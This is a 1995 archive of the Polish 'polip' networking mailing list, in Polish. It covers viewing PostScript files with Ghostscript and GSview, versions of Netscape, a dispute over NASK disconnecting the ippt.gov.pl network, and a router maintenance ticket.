zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04786; Fri, 6 Jan 95 13:28:28 +0100 Return-Path: Received: from chicken.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03) id AA17214; Fri, 6 Jan 1995 13:25:14 +0100 Received: from CHICKEN/SpoolDir by chicken.iie.wsi.zgora.pl (Mercury 1.13); Fri, 6 Jan 95 13:27:32 +0100 Received: from SpoolDir by CHICKEN (Mercury 1.13); Fri, 6 Jan 95 13:27:18 +0100 From: "Grzegorz Mielcarek" Organization: Instytut Informatyki i Elektroniki To: polip@zsku.p.lodz.pl Date: Fri, 6 Jan 1995 13:27:14 +0100 Subject: Re: szukam kontaktu i informacji Priority: normal X-Mailer: Pegasus Mail v3.22 Message-Id: <135A474D2E@chicken.iie.wsi.zgora.pl> > Szanowni Panstwo, > moze moj list nie za bardzo dotyczy tematyki listy, ale w moim mniemaniu > jest to najlepsze grono do uzyskania informacji, ktorych potrzebuje. > Otoz, kiedys na ktorejs z list dyskuyjnych pojawil sie fragment regulaminu > dla uzytkownikow z oklic Gdyni, czy Gdanska. Chcial bym nawiazac kontakt z > jego autorem. Jestem jednym ze wspolorganizatorow wezla sieci Internet na > Wydziale Zarzadzania Uniwersystetu Warszawskiego. W polskiej sieci jestesmy > dopiero od pazdziernika 1994, ale juz mamy klopoty z uzytkownikami. > Konstrujac swoj wlasny regulamin chcemy sie oprzec na dobrych wzorach. > Prosba dotyczy rowniez wszystkich, ktorzy maja dostep do takich materialow. > Prosze o listy na moj prywatny adres: > andyar33@plearn.edu.pl > > Andrzej Jarzewski > Mnie takze ciekawi temat regulaminu dla sieci lokalnej, oczywiscie z wyjsciem na swiat. Moze ktos juz cos takiego opracowal, lub nad czyms takim pracuje. Chetnie bym sie dolaczyl. -Grzesiek ---------------------------------------------------------------------------- Grzegorz Mielcarek | gmielcar@chicken.iie.wsi.zgora.pl Wyzsza Szkola Inzynierska | g.mielcarek@wsi.zgora.pl Instytut Informatyki i Elektroniki | ul. Podgorna 50 | tel: 068/254611, 254831 w. 231 65-265 Zielona Gora | fax: 068/253944 --------------------------------------------------------------------------- "If you wanna be so sexy, you must drink a lot of Pepsi" ---------------------------------------------------------------------------- From ELEKP@elektron.pol.lublin.pl Fri Jan 6 14:03:36 1995 Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05741; Fri, 6 Jan 95 14:01:50 +0100 Return-Path: Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP (1.38.193.4/16.2) id AA16997; Fri, 6 Jan 1995 13:59:46 +0100 Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13); Fri, 6 Jan 95 13:56:43 +0100 Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Fri, 6 Jan 95 13:56:29 +0100 From: "Eligiusz Pawlowski, LUBLIN." To: polip@zsku.p.lodz.pl Date: Fri, 6 Jan 1995 13:56:29 +0100 Subject: postscript w Mosaic ? X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.1 (R1a) Message-Id: <42DE9B5EE3@elektron.pol.lublin.pl> Witam w Nowym Roku ! Wedrujac za pomoca programu Mosaic po zasobach sieci Internet stwierdzilem, ze jest wiele dokumentow dostepnych w plikach postscriptowych. Mosaic bez problemu dokonuje transferu takiego pliku, ale nie mam dalej mozliwosci zrobienia czegokolwiek z tym plikiem. Pytania : 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych? 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki z postscriptem ? 3.czy mozna wczytac plik postscriptowy do jakiegos edytora tekstu w windowsach ? Mosaica uzywam w Windows 3.1 EE na PC 486 DX . Pozdrowienia dla wszystkich polipowiczow ! Elek. ------------------------------------------------------------------- Eligiusz Pawlowski elekp@elektron.pol.lublin.pl POLITECHNIKA LUBELSKA Wydzial Elektryczny Katedra Metrologii Elektrycznej i Elektronicznej ul.Nadbystrzycka 38 A 20-618 LUBLIN tel.(48) (81) 55-10-51 wew.259,265 ------------------------------------------------------------------- From krzysio@hebe.umcs.lublin.pl Fri Jan 6 15:08:36 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07194; Fri, 6 Jan 95 15:05:50 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA02574; Fri, 6 Jan 95 15:03:30 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501061403.AA02574@hebe.umcs.lublin.pl> Subject: Re: postscript w Mosaic ? To: polip@zsku.p.lodz.pl Date: Fri, 6 Jan 1995 15:03:30 +0100 (MET) In-Reply-To: <42DE9B5EE3@elektron.pol.lublin.pl> from "Eligiusz Pawlowski, LUBLIN." at Jan 6, 95 02:07:46 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2215 Eligiusz Pawlowski, LUBLIN. wrote: > > Witam w Nowym Roku ! > > Wedrujac za pomoca programu Mosaic po zasobach sieci Internet stwierdzilem, > ze jest wiele dokumentow dostepnych w plikach postscriptowych. Mosaic bez > problemu dokonuje transferu takiego pliku, ale nie mam dalej mozliwosci > zrobienia czegokolwiek z tym plikiem. > Pytania : > 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych? > 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki > z postscriptem ? > 3.czy mozna wczytac plik postscriptowy do jakiegos edytora > tekstu w windowsach ? > Mosaica uzywam w Windows 3.1 EE na PC 486 DX . > > Pozdrowienia dla wszystkich polipowiczow ! > Jest program o nazwie GhostScript, ktory umozliwia konwersje plikow postscriptowych do roznych formatow (w tym HPGL - dla drukarek zgodnych z HP LaserJet) oraz drukowanie tych plikow nawet na drukarkach iglowych! A oto potrzebne pliki: gs261386.zip gs261ini.zip gs261win.zip gsview10.zip Wraz z programem GhostScript otrzymujesz tez GhostView - umozliwiajacy przegladanie plikow postscriptowych bezposrednio na ekranie. Oba pakiety sa Public Domain. Aby je sciagnac uzyj anonymous fto na hebe.umcs.lublin.pl katalog: /pub/ibmpc/gs+gv Zyczac powodzenia, -Krzysio -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 15:28:36 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08032; Fri, 6 Jan 95 15:26:47 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA14481 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 15:08:45 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 6 Jan 1995 14:02:41 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3ejii1$h5v@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <42DE9B5EE3@elektron.pol.lublin.pl> Subject: Re: postscript w Mosaic ? Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) zadal > Pytania : > 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych? > 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki > z postscriptem ? -- proponuje ghostview i ghostscript (sa wersje windowsowe) -- > 3.czy mozna wczytac plik postscriptowy do jakiegos edytora > tekstu w windowsach ? -- nie sadze -- > Mosaica uzywam w Windows 3.1 EE na PC 486 DX . > Pozdrowienia dla wszystkich polipowiczow ! Pozdrowienia Wojtek From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 15:28:39 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08035; Fri, 6 Jan 95 15:26:49 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA14755 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 15:20:35 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 6 Jan 1995 14:04:36 GMT From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski) Message-Id: <3ejilk$sg8@galaxy.uci.agh.edu.pl> Organization: Instytut Podstawowych Problemow Techiniki Warszawa Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3ehbnb$2v1@bilbo.nask.org.pl>, <3ehric$db@ghost.mimuw.edu.pl>, <3ej7bg$13h@bilbo.nask.org.pl> Reply-To: ppogorze@ippt.gov.pl Subject: Re: ippt.gov.pl poza siecia? Jescze dwa slowa. Nie idzie o to zeby nie zmieniac starego oprogramowania na nowe, ale o sposob zachowania w sytuacji kiedy narobilo sie komus klopotow. Rozumiem, ze wszystko sie moze zdarzyc ale, gdy odcina sie kogos bez uprzedzenia i pozostawia samemu sobie (najlepiej jescze przed swietami) nie jest chyba najlepsze. Powrot na jakis czas do poprzedniego oprogramowania to chyba zbyt wielkie wymaganie, ale wypozyczenie modemow (dzialamy na wlasnych) w celu jak najszybszego nawiazania lacznosci jest chyba mozliwe, tym bardzej, ze w ippt jest primary name server domeny gov.pl i w tym momencie klopot z lacznoscia nie dotyczy juz samego ippt. Router kiedys bedzie kupiony, prawdopodobnie jak tylko ruszy WARMAN (swiatlowod juz wystaje ze sciany). Rozumiem, ze wymiane oprogramowania trzeba bylo koniecznie wykonac jeszcze w starym roku. Jak ruszy WARMAN pewnie tez cos sie bedzie zmieniac. I na koniec, nie rozumiem dlaczego mamy dac spokoj tej dyskusji? piotr pogorzelski From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 15:48:37 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09345; Fri, 6 Jan 95 15:46:47 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA14910 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 15:27:33 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 6 Jan 1995 15:18:25 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3ejjfh$8ts@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <42DE9B5EE3@elektron.pol.lublin.pl> Subject: Re: postscript w Mosaic ? Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) wrote: : Witam w Nowym Roku ! : Wedrujac za pomoca programu Mosaic po zasobach sieci Internet stwierdzilem, : ze jest wiele dokumentow dostepnych w plikach postscriptowych. Mosaic bez : problemu dokonuje transferu takiego pliku, ale nie mam dalej mozliwosci : zrobienia czegokolwiek z tym plikiem. : Pytania : : 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych? ghostview. : 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki : z postscriptem ? ghostview. : 3.czy mozna wczytac plik postscriptowy do jakiegos edytora : tekstu w windowsach ? O ile mi wiadomo, nie. : Mosaica uzywam w Windows 3.1 EE na PC 486 DX . Uzywaj Netscape for Windows: ftp://ftp.uci.agh.edu.pl/pub/network/infosystems/www/Netscape/ns16-094.exe (wymaga Winsock albo innego transportu TCP/IP, tak samo jak NCSA Mosaic, ale jest znacznie stabilniejszy, szybszy, wygodniejszy). -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUUU M M M M M M finger szymon@galaxy.uci.agh.edu.pl for PGP key WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 15:48:40 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09348; Fri, 6 Jan 95 15:46:50 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA14909 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 15:27:32 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 6 Jan 1995 15:13:19 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3ejj5v$864@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3eg9b5$97q@bilbo.nask.org.pl>, <3eh3pe$glq@galaxy.uci.agh.edu.pl>, <3ehbnb$2v1@bilbo.nask.org.pl> Subject: Re: ippt.gov.pl poza siecia? Lukasz Ploszajski (lukasz@nask.org.pl) wrote: : piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote: : Chwila moment, dziala ka9q z polaczeniem asynchronicznym z protokolem SLIP. : Zrobilem blad (mea culpa) - to nie wina ka9q, a packet-drivera do czeskiej : karty, co i tak nie zmienia konsekwencji. : A swoja droga, to jak swiat swiatem to abonenci dostosowuja sie do standardu : operatora, a nie na odwrot. Chyba nikt nie ma pretensji do TP S.A. za to, : ze wymienia centrale na nowsze, bo stare juz nie zdaja egzaminu i nie pisze : petycji z tego powodu, ze przedwojenne telefony zle wybieraja numery. : A poza tym nikt z nas przeciez nie wiedzial, ze taki problem powstanie. : To packet-driver do karty nie jest zgodny ze standardem, a nie software : w Cisco. A czy przypadkiem ta czeska karta nie byla polecana przez NASK? A czy ten nowy (szwedzki chyba) produkt robiacy routing na PC (ktory NASK poleca obecnie) byl testowany na zgodnosc ze standardem tudziez z najnowsza wersja software CISCO? Nie zebym sie czepial - ale TPSA nawet jak wymienia centrale, nie zada od klientow wymiany aparatow na nowe... -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUUU M M M M M M finger szymon@galaxy.uci.agh.edu.pl for PGP key WWW page: http://www.uci.agh.edu.pl/~szymon/ From lukasz@frodo.nask.org.pl Fri Jan 6 15:58:38 1995 Received: from frodo.nask.org.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09789; Fri, 6 Jan 95 15:54:28 +0100 Return-Path: Received: from merry.nask.org.pl.nask.org.pl by frodo.nask.org.pl (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA06059; Fri, 6 Jan 95 15:51:36 MET Organization: Research and Academic Computer Network Address: Krakowskie Przedmiescie 26/28, 00-927 Warsaw, Poland. Date: Fri, 6 Jan 95 15:51:36 MET Message-Id: <9501061451.AA06059@frodo.nask.org.pl> Received: by merry.nask.org.pl.nask.org.pl (4.1/SMI-4.1) id AA05806; Fri, 6 Jan 95 15:55:39 +0100 To: polip@zsku.p.lodz.pl, CEEnet-Info@noc.aco.net, ACOnet-Info@noc.aco.net, staff@nordu.net From: Ireneusz Neska Reply to: net-admin@nask.org.pl Cc: net-admin@nask.org.pl Subject: Ticket: NASK.950106.1540 OPEN (NASK Router - new hardware) ----------------------------------------------------------------------------- Ticket Number: NASK.950106.1540 Ticket Status: OPEN Ticket Type: SCHEDULED Ticket Source: NASK Ticket Scope: Router Site/Line: NASK Center in Warsaw Ticket Owner: Irek Neska Problem Fixer: NASK NOC Staff Ticket Opened: 950106.1540 MET Problem Started: 950107.1030 MET Update: Scheduled End: 950107.1130 MET Closed: Ended: ----------------------------------------------------------------------------- Problem Description: Old AGS+ router peering with Stockholm, Vienna and Moscow will be replaced by Cisco 7000 with SSP. Affected: Traffic to Poland, Moscow and Minsk. Actions: Pull out old router, install new 7000, test the configuration and the connections. Time to fix: Up to one hour. Irek --- Ireneusz Neska | E-mail: irek@nask.org.pl Research and Academic Network in Poland | Tel/Fax: (+48 22) 268000 Bartycka 18 | Tel: (+48 22) 200381 x. 843, 852 00-716 Warsaw, Poland | NIC-Handle: IN3 From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 16:28:37 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11679; Fri, 6 Jan 95 16:26:46 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA15906 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 16:17:40 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 6 Jan 1995 15:53:41 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3ejlhl$e9s@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501061403.AA02574@hebe.umcs.lublin.pl> Subject: Re: postscript w Mosaic ? Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : Jest program o nazwie GhostScript, ktory umozliwia konwersje plikow : postscriptowych do roznych formatow (w tym HPGL - dla drukarek zgodnych : z HP LaserJet) oraz drukowanie tych plikow nawet na drukarkach iglowych! : A oto potrzebne pliki: : gs261386.zip : gs261ini.zip : gs261win.zip : gsview10.zip : Wraz z programem GhostScript otrzymujesz tez GhostView - umozliwiajacy : przegladanie plikow postscriptowych bezposrednio na ekranie. : Oba pakiety sa Public Domain. : Aby je sciagnac uzyj anonymous fto na hebe.umcs.lublin.pl Aktualne wersje mozna tez znalezc na: ftp://ftp.cyf-kr.edu.pl/pub/mirror/msdos/postscrp/ -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUUU M M M M M M finger szymon@galaxy.uci.agh.edu.pl for PGP key WWW page: http://www.uci.agh.edu.pl/~szymon/ From pastupam@uoo.univ.szczecin.pl Fri Jan 6 16:33:38 1995 Received: from uoo.univ.szczecin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11782; Fri, 6 Jan 95 16:29:19 +0100 Return-Path: Message-Id: <9501061529.AA11782@zsku.p.lodz.pl> Received: by uoo.univ.szczecin.pl (1.37.109.4/16.2) id AA07574; Fri, 6 Jan 95 16:27:04 +0100 From: Jerzy Pastusiak Subject: Re: postscript w Mosaic ? To: polip@zsku.p.lodz.pl Date: Fri, 6 Jan 95 16:27:02 MET In-Reply-To: <42DE9B5EE3@elektron.pol.lublin.pl>; from "Eligiusz Pawlowski, LUBLIN." at Jan 6, 95 2:07 pm Mailer: Elm [revision: 70.85] > Pytania : > 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych? > 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki > z postscriptem ? > 3.czy mozna wczytac plik postscriptowy do jakiegos edytora > tekstu w windowsach ? > Mosaica uzywam w Windows 3.1 EE na PC 486 DX . > > Pozdrowienia dla wszystkich polipowiczow ! > > Elek. > Male pliki mozna przegladac w CorelDRAW, { *.EPS }. Pozdrawiam, zyczac tez Wszystkim Szczesliwego Nowego Roku. J.P From wowoc@acs.ucalgary.ca Fri Jan 6 17:43:38 1995 Received: from acs7.acs.ucalgary.ca by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13678; Fri, 6 Jan 95 17:38:42 +0100 Return-Path: Received: by acs7.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03) id AA32164; Fri, 6 Jan 1995 09:37:46 -0700 Date: Fri, 6 Jan 1995 09:37:46 -0700 From: wowoc@acs.ucalgary.ca (Witold Owoc) Message-Id: <9501061637.AA32164@acs7.acs.ucalgary.ca> To: polip@zsku.p.lodz.pl Subject: Re: postscript w Mosaic ? > czy mozna wczytac plik postscriptowy do jakiegos edytora tekstu W dystrybucjach Ghostscript-u znajduje sie plik ps2ascii. Umozliwia on ekstrakcje samego tekstu (co mozna zapisac do jakiegos pliku). Uzupelnienia. GNU Ghostscript 2.6.1 (+ patches 1-4) jest dostepny pod GNU Public Licence. Aladdin Ghostscript 3.12 (z PostScript level 2 + lepsze czcionki) jest Copyright (C) 1994 Aladdin Enterprises, Menlo Park, CA. All rights reserved. Mozna uzywac za darmo, ale licencja jest zupelnie inna - stawia inne ograniczenia. GSview to program do przegladania plikow PostScript pod OS/2 i MS-Windows (np. IBM WebExplorer, NCSA Mosaic, Netscape Navigator). Wazne: GSview 1.0 dziala z Ghostscript 2.6.1 GSview 1.1 dziala z Ghostscript 3.12 Ghostview to zas program do przegladania plikow PostScript pod Unix-em (uzywajac X11) i VMS (chyba tez pod X11). Witold Owoc #disclaimer "my.private.views" --------------------------------------------------------- The University of Calgary had no knowledge of nor in any way gave its consent to the transmission of this message. From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 18:28:41 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14956; Fri, 6 Jan 95 18:26:43 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA18258 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 18:21:26 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 6 Jan 1995 17:00:53 GMT From: wojsyl@palma.icm.edu.pl (Wojtek Sylwestrzak) Message-Id: <3ejt05$g8u@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3ehric$db@ghost.mimuw.edu.pl>, <3ej7bg$13h@bilbo.nask.org.pl>, <3ejilk$sg8@galaxy.uci.agh.edu.pl> Subject: Re: ippt.gov.pl poza siecia? piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote: > tym bardzej, > ze w ippt jest primary name server domeny gov.pl i w tym momencie klopot z lacznoscia > nie dotyczy juz samego ippt. Wydaje mi sie, ze odcinanie w taki sposob kogokolwiek jest niedopuszczalne, niezaleznie od tego czy jest on primary name server dla duzej domeny czy nie. Sadze, ze NASK powinien stworzyc faktycznie sprawnie dzialajacy NOC, ktory koordynowalby wszystkie tego typu posuniecia m. in. po to, zeby w przyszlosci uniknac wpadek tego rodzaju. --wojtek From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 19:08:39 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15984; Fri, 6 Jan 95 19:06:46 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA18996 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 18:57:31 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Fri, 6 Jan 1995 17:51:31 GMT From: michalj@fuw.edu.pl (Michal Jankowski) Message-Id: Organization: Warsaw University, Physics Department Sender: news.polip@cyber.ict.pwr.wroc.pl References: <42DE9B5EE3@elektron.pol.lublin.pl>, <3ejjfh$8ts@galaxy.uci.agh.edu.pl> Subject: Re: postscript w Mosaic ? >>>>> "Szymon" == Szymon Sokol writes: Szymon> Uzywaj Netscape for Windows: Szymon> ftp://ftp.uci.agh.edu.pl/pub/network/infosystems/www/Netscape/ns16-094.exe Szymon> (wymaga Winsock albo innego transportu TCP/IP, tak samo jak Szymon> NCSA Mosaic, ale jest znacznie stabilniejszy, szybszy, Szymon> wygodniejszy). 0.94??? Toz to staroc straszna... Aktualna wersja to 1.00. (np. u mnie ftp://ftp.fuw.edu.pl/WWW/ns16-100.exe) Aha, i jesli ktos sie przejmuje sprawa oplat i licencji, to: 1. w miesiac po wypuszczeniu przez firme wersji 1.00 starsze wersje nalezy skasowac. 2. netscape jest za darmo dla studentow i pracownikow szkol/uczelni oraz 'non-profit organizations'. Inni moga go sobie potestowac, a jak sie spodoba, to nalezy sie $39. Michal PS. nie uzywam MS...., ale zdaje sie, ze rzeczywiscie w tym srodowisku netscape jest lepszy - bo wersja X-windowsowa wcale mnie nie zachwyca... From piotrwi Fri Jan 6 19:38:40 1995 Received: by zsku.p.lodz.pl (5.65/25-eef) id AA16933; Fri, 6 Jan 95 19:35:18 +0100 Return-Path: Date: Fri, 6 Jan 1995 19:35:15 +0100 (MEZ) From: Piotr Wilk To: polip@zsku.p.lodz.pl Subject: Netscape (Bylo: Postscript w Mosaic) Message-Id: Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej Address: 90-924 Lodz; ul. Stefanowskiego 18/22 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Listproc odrzucil wiec forwarduje. Piotrek -- -------------------------------------------------------------- | Piotr Wilk | |------------------------------------------------------------| | Samodzielny Zaklad | email: | | Sieci Komputerowych | piotrwi@zsku.p.lodz.pl | | Politechniki Lodzkiej | piotrwi at plearn | -------------------------------------------------------------- ----------------------------------------------------------------------------- >From piskozub@ocean.iopan.gda.pl Fri Jan 6 19:28:40 1995 Received: from ocean.iopan.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16787; Fri, 6 Jan 95 19:23:42 +0100 Received: by ocean.iopan.gda.pl (5.65/25-eef) id AA08356; Fri, 6 Jan 95 19:21:23 +0100 Return-Path: From: Jacek Piskozub Message-Id: <9501061821.AA08356@ocean.iopan.gda.pl> Subject: Netscape (Bylo: Postscript w Mosaic) To: polip@zsku.p.lodz.pl Date: Fri, 6 Jan 1995 19:21:22 +0100 (Poland) In-Reply-To: from "Michal Jankowski" at Jan 6, 95 07:09:52 pm X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 1110 Mowa o wersjach Netscape: > > 0.94??? Toz to staroc straszna... > > Aktualna wersja to 1.00. > (np. u mnie ftp://ftp.fuw.edu.pl/WWW/ns16-100.exe) > > Aha, i jesli ktos sie przejmuje sprawa oplat i licencji, to: > 1. w miesiac po wypuszczeniu przez firme wersji 1.00 starsze wersje > nalezy skasowac. To chyba dla pokarania uzytkownikow. Wedlug mnie poprzednia wersja byla lepsza. Nowa miedzy innymi zdolala zrobic "General Protection Massacre" po 30 min stosowania. W tym moze smialo konkurowac z Mosaicem for Windows. Poza tym czemu mam dwie ikony gdy zmniejsze nowy Netscape [do ikony oczywiscie]. Nigdy nie wiem, ktora jest ta prawdziwa. Jednak poprzednia wersja byla naprawde dobra. Jacek Piskozub Lidar Laboratory Institute of Oceanology email: piskozub@iopan.gda.pl Polish Academy of Sciences tel: (++48 58) 517281 ext.202 ul. Powstancow Warszawy 55 fax: (++48 58) 512130 81-712 Sopot, Poland From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 7 09:05:48 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02710; Sat, 7 Jan 95 09:05:36 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id IAA00889 for polip@zsku.p.lodz.pl; Sat, 7 Jan 1995 08:47:29 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 7 Jan 1995 08:26:10 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3elfmi$nal@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <42DE9B5EE3@elektron.pol.lublin.pl>, <3ejjfh$8ts@galaxy.uci.agh.edu.pl>, Subject: Re: postscript w Mosaic ? Michal Jankowski (michalj@fuw.edu.pl) wrote: : >>>>> "Szymon" == Szymon Sokol writes: : Szymon> Uzywaj Netscape for Windows: : Szymon> ftp://ftp.uci.agh.edu.pl/pub/network/infosystems/www/Netscape/ns16-094.exe : Szymon> (wymaga Winsock albo innego transportu TCP/IP, tak samo jak : Szymon> NCSA Mosaic, ale jest znacznie stabilniejszy, szybszy, : Szymon> wygodniejszy). : 0.94??? Toz to staroc straszna... Postep jest szybki - ta "staroc" ma jakies 3 tygodnie :-) : Aktualna wersja to 1.00. : (np. u mnie ftp://ftp.fuw.edu.pl/WWW/ns16-100.exe) OK, ftp://ftp.uci.agh.edu.pl/pub/network/infosystems/www/Netscape/ns16-100.exe : PS. nie uzywam MS...., ale zdaje sie, ze rzeczywiscie w tym srodowisku : netscape jest lepszy - bo wersja X-windowsowa wcale mnie nie zachwyca... Moglbys rozwinac? -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U 